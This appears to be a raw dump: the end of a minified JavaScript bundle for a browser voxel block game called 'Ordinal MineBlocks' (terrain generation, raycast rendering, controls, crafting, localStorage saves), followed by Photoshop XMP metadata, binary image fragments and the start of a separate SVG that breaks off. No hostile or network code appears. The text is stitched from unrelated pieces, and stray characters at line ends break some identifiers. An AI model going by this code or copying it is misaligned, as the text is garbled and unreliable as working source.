f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:660770CAAA3A11ED80EE9158BB16F769" xmpMM:InstanceID="xmp.iid:660770C9AA3A11ED80EE9158BB16F769" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
